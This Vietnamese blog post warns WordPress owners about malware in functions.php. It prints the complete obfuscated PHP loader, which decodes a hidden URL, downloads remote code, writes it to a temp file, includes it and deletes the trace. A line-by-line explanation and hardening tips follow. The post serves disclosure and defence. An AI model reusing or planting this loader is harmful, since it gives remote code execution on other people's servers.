Cảnh báo: Mã độc file functions.php khiến website WordPress tê liệt

Hiện nay một web xuất hiện mã độc trong file functions.php. Thông thường khi phát hiện mã này phần mềm PCGUARD sẽ quét và “giam giữ” (blacklist) tệp functions.php khiến cho website wordpress của bạn không thể hoạt động được bình thường.

+ Nhiều khi restore lại web, chỉ giải quyết vấn đề tạm thời. Website của bạn vẫn bị dính mã độc sau một thời gian

+ Nếu phát hiện mã độc, hãy thông báo với nhà cung cấp host để xử lý bảo mật cho website của bạn.

Mã độc có nội dung như sau:

@ini_set(‘display_errors’, ‘0’); error_reporting(0); $bv = ‘st’.’r_’.’ro’.’t’.’13’; $sp = ‘url’.’de’.’co’.’de’; $qj = $bv($sp(‘o’.’n’.’fr’.’64_q’.’rpb’.’qr’)); $io = $qj($sp($bv(‘nUE0pUZ6Yl9xMKWgLKuiqP50o3Nip2IupzAbYaObpN%3Q%3Q’))); if (ini_get(‘allow_url_fopen’)) { function dyio ($io) { $em = stream_context_create([‘http’ => [‘timeout’ => 2]]); $po = file_get_contents($io, false, $em); if ($po === false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $io); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $po = curl_exec($ch); if ($po == false) { curl_close($ch); return false; } curl_close($ch); } return $po; } } $po = dyio($io); $zp = tempnam(sys_get_temp_dir(), “session_cache_”.md5(__DIR__)); $zl = fopen($zp, ‘w’); fwrite($zl, ‘<?php ‘. $po .’ ?>’); fclose($zl); include($zp); unlink($zp);

 

Mã độc file functions.php khiến website WordPress tê liệt
Mã độc file functions.php khiến website WordPress tê liệt

Đoạn mã bạn cung cấp là một đoạn mã PHP có dấu hiệu bất thường và tiềm ẩn nguy cơ bảo mật. Hãy cùng phân tích:

  1. Giảm thông báo lỗi

@ini_set(‘display_errors’, ‘0’); error_reporting(0);

  • Tắt hiển thị lỗi và báo cáo lỗi.
  • Đây thường là dấu hiệu của mã độc hoặc mã muốn che giấu hành vi.
  1. Tạo chuỗi và mã hóa

$bv = ‘st’.’r_’.’ro’.’t’.’13’; $sp = ‘url’.’de’.’co’.’de’;

  • str_rot13: Thực hiện mã hóa/giải mã đơn giản bằng cách xoay 13 ký tự trong bảng chữ cái.
  • urldecode: Giải mã chuỗi URL.
  1. Giải mã và gọi URL

$qj = $bv($sp(‘o’.’n’.’fr’.’64_q’.’rpb’.’qr’)); $io = $qj($sp($bv(‘nUE0pUZ6Yl9xMKWgLKuiqP50o3Nip2IupzAbYaObpN%3Q%3Q’)));

  • Sử dụng kết hợp str_rot13 và urldecode để giải mã nội dung và URL.
  • Chuỗi ban đầu (nUE0p…) dường như là mã hóa Base64 và đã bị xáo trộn.
  1. Gọi nội dung từ URL

$po = file_get_contents($io, false, $em); // Hoặc $po = curl_exec($ch);

  • Sử dụng file_get_contents hoặc cURL để tải nội dung từ URL $io.
  1. Thực thi mã từ xa

$zp = tempnam(sys_get_temp_dir(), “session_cache_”.md5(__DIR__)); $zl = fopen($zp, ‘w’); fwrite($zl, ‘<?php ‘. $po .’ ?>’); fclose($zl); include($zp); unlink($zp);

  • Tạo tệp tạm thời chứa mã PHP đã tải từ URL, sau đó thực thi tệp này bằng include.
  • Cuối cùng xóa tệp tạm.

Nguy cơ bảo mật

  • Mã độc hại: Đoạn mã này có thể được dùng để tải và thực thi mã độc từ máy chủ bên ngoài.
  • Khai thác từ xa (Remote Code Execution): Nếu URL được tải về chứa mã độc, hệ thống có thể bị xâm nhập.
Xoá link bẩn thôi, mà không đổi host không giải quyết được vấn đề. 1 host đặt hơn chục con website lận rất nguy hiểm
Xoá link bẩn thôi, mà không đổi host không giải quyết được vấn đề. 1 host đặt hơn chục con website lận rất nguy hiểm

Lời khuyên

  1. Kiểm tra mã gốc:Xác minh nguồn gốc của đoạn mã này.
    Nếu không rõ, hãy ngừng sử dụng ngay lập tức.
  2. Bảo vệ hệ thống:Tắt allow_url_fopen trong cấu hình PHP.
    Sử dụng tường lửa ứng dụng web (WAF) để chặn các yêu cầu độc hại.
  3. Phân tích sâu:Giải mã và phân tích nội dung của các chuỗi và URL trong mã này. Nếu cần, tôi có thể hỗ trợ thêm để giải mã và phân tích kỹ hơn.

Giới thiệu: Nguyễn Bá Vĩnh

Nguyễn Bá Vĩnh là một thành viên SEO giỏi của CLB Việt SEO, và admin của Group Cộng Đồng SEO Mũ Trắng Việt Nam. Với 7 năm kinh nghiệm trong ngành Digital marketing, tôi tự hào đem đến kiến thức về SEO sáng và chuyên sâu cho người Việt!

Bình luận bài viết này

0 Shares
Share
Tweet
Pin